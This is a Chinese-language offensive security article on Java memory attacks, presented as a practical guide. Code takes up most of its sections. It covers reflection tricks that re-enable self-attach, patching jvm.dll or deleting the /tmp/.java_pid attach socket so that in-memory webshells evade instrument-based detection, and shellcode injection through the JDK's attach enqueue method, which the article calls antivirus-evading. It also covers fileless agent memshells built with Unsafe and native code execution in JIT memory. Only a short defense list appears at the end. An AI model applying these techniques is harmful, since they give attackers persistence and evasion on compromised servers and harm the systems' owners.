Java内存攻击技术漫谈
字数 1413 2025-08-05 00:15:28
Java内存攻击技术漫谈 - 深入解析与实战指南
前言
Java技术栈漏洞已成为Web安全领域的主流战场。随着防御系统(IPS、RASP等)的升级,Java攻防阵地已从磁盘转移到内存层面。本文将全面解析Java内存攻击技术,包括绕过安全限制、内存马防检测、远程进程注入等高级技术。
1. allowAttachSelf绕过技术
背景
Java 9+默认禁止SelfAttach,通过jdk.attach.allowAttachSelf参数控制(默认为false)。
绕过原理
通过反射修改HotSpotVirtualMachine类的静态属性ALLOW_ATTACH_SELF:
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field = cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);
// 移除final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setBoolean(null, true); // 修改值为true
关键点
- 需要同时处理final修饰符
- 修改的是静态属性,影响整个JVM
2. 内存马防检测技术
内存马分类
- Agent型:利用instrument机制修改现有类
- JVM层注入,通用性强
- 非Agent型:新增Web组件(Servlet/Filter等)
- 依赖容器环境,通用性弱
检测方法
- 基于反射:检测新增类和对象,仅适用于非Agent型
- 基于instrument:注入检测逻辑,可检测所有类型
防检测原理
破坏instrument机制,使检测工具无法attach:
Windows平台
Hook jvm.dll中的关键函数:
JVM_EnqueueOperation_JVM_EnqueueOperation@20
unsigned char buf[] = "\xc2\x14\x00"; // 32位直接返回
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
LPVOID dst = GetProcAddress(hModule, "_JVM_EnqueueOperation@20");
DWORD old;
VirtualProtectEx(GetCurrentProcess(), dst, 3, PAGE_EXECUTE_READWRITE, &old);
WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);
Linux平台
删除UNIX Domain Socket文件:
rm -f /tmp/.java_pid<pid>
3. Java原生远程进程注入
Windows平台实现
利用Java的enqueue函数在服务端创建stub线程执行代码:
Class cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
Method enqueue = cls.getDeclaredMethod("enqueue", long.class, byte[].class,
String.class, String.class, Object[].class);
enqueue.setAccessible(true);
// 构造shellcode
byte[] buf = new byte[]{...}; // 弹计算器的shellcode
// 注入当前进程(PID=-1)
enqueue.invoke(null, -1L, buf, "test", "test", new Object[]{});
特点
- 天然免杀(Java.exe有合法签名)
- 不需要额外JNI库
4. 自定义类调用系统Native库函数
技术原理
- 自定义
sun.tools.attach.VirtualMachineImpl类 - 使用自定义ClassLoader绕过双亲委托
- 直接defineClass加载自定义类
实现代码
public class Myloader extends ClassLoader {
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
// 加载自定义类
String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF...";
Class result = new Myloader().get(Base64.getDecoder().decode(classStr));
5. 无文件落地Agent型内存马植入
技术原理
绕过传统Agent加载流程,直接构造InstrumentationImpl实例:
- Native内存操作:使用Unsafe分配内存
- 伪造JPLISAgent:组装复杂数据结构
- 定位JVMTIEnv:通过内存搜索或指针特征匹配
- 执行redefineClasses:直接修改类字节码
关键步骤
- 获取Unsafe实例:
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
- 伪造JPLISAgent:
long agentAddr = unsafe.allocateMemory(0x200);
long jvmtiStackAddr = unsafe.allocateMemory(0x200);
unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
unsafe.putLong(jvmtiStackAddr+8, 0x30010100000071eel);
// 设置其他必要字段...
- 执行类重定义:
Class cls = Class.forName("sun.instrument.InstrumentationImpl");
Constructor constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object obj = constructor.newInstance(agentAddr, true, true);
Method redefineMethod = cls.getMethod("redefineClasses", ClassDefinition[].class);
redefineMethod.invoke(obj, new Object[]{classDefinitions});
6. Java跨平台任意Native代码执行
技术原理
- 控制jvmtienv的函数指针
- 在JIT区域部署shellcode(RWX内存)
- 通过内存搜索定位可执行区域
实现代码
// 搜索可执行内存区域
for (int j=-0x1000; j<0x1000; j++) {
long target = unsafe.getAddress(allocateMemory+j*offset);
if (unsafe.getByte(target)==0X55 || unsafe.getByte(target)==0XE8) {
shellcodeBed = target;
break;
}
}
// 布置shellcode
unsafe.putLong(allocateMemory+8, allocateMemory+0x10);
unsafe.putLong(allocateMemory+8+8, allocateMemory+0x10);
unsafe.putLong(allocateMemory+0x10+0x168, allocateMemory+0x10+0x168+8);
// 写入shellcode
for (int k=0; k<buf.length; k++) {
unsafe.putByte(allocateMemory+0x10+0x168+8+k, buf[k]);
}
// 触发执行
redefineMethod.invoke(obj, new Object[]{classDefinitions});
防御建议
- 监控
sun.instrument.InstrumentationImpl的实例化 - 检测Unsafe类的使用
- 限制反射修改关键类的能力
- 监控JVM内部关键函数的调用
- 启用更严格的RASP防护
总结
本文详细解析了Java内存攻击的多种高级技术,包括:
- 绕过安全限制(allowAttachSelf)
- 内存马防检测(破坏instrument机制)
- 原生远程进程注入
- 无文件Agent型内存马
- 跨平台Native代码执行
这些技术展示了Java内存层面的强大攻击能力,也提醒防御方需要加强内存行为的监控和防护。